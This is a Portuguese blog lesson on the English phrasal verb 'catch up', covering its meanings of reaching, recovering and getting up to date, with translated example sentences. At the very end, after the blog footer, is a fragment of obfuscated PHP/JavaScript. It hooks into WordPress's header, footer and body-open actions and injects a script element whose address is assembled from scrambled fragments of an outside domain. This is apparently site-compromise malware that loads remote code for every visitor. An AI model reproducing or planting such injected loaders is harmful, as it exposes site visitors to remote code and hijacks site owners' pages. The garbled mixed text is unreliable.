O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

CATCH UP |  O que significa esse phrasal verb?

catch up

Que tal conferir todos os significados de ‘catch up’? Esse phrasal verb é um dos mais importantes do inglês e merece sua atenção porque ele vai te ajudar a se expressar. 

Catch up significado

Quando olhamos o Cambridge, vemos que essa expressão pode ser usada de três maneiras diferentes: com o sentido de alcançar, ficar em dia (se atualizar), recuperar.

É importante apontar para o fato que ‘catch up’ pode ou não ser separado por um objeto na sentença. E por ser irregular seu passado é ‘caught up’. 

No sentido de ‘alcançar’ esse phrasal verb é usado com ‘with’, no sentido de ‘se atualizar’, ele pode ser usado com ‘with’ ou ‘on’. 

1 – Catch up como ‘alcançar’

I left home without my dad, but soon he caught me up. (Eu sai de casa sem meu pai, mas logo ele me alcançou.)

Usain Bolt caught up with the leader of the race. (Usain Bolt alcançou o líder da corrida.)

We have to walk fast to catch up with my mom. (Nós temos que andar rápido para alcançar minha mãe.

Will the Western industry ever catch up with the Japanese one? (Será que a indústria do ocidente vai um dia alcançar a japonesa?)

2 – Catch up como ‘recuperar’

I’ll stay late to catch up on some reports. (Eu vou ficar até mais tarde para recuperar uns relatórios.

My sister started school late, now she has to catch up. (Minha irmã começou a escola tarde, agora ela precisa de recuperar.) 

I need silence so that I can catch up on my work.  (Eu preciso silêncio para que eu possa recuperar meu trabalho.

3 – Catch up como ‘se atualizar’

We have to catch up on what you’ve been doing lately. (Nós temos que por a conversa em dia com relação com o que você tem feito.) 

I think you should come over tomorrow and then we catch up on all the gossip. (Acho que você devia vir aqui em casa amanhã e aí a gente atualiza as fofocas.)

What about a coffee to catch up? (Que tal um café para contar as novidades?)

Essas são as formas de usar ‘catch up’ em inglês. Que tal ver outras expressões que podem te ajudar?

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>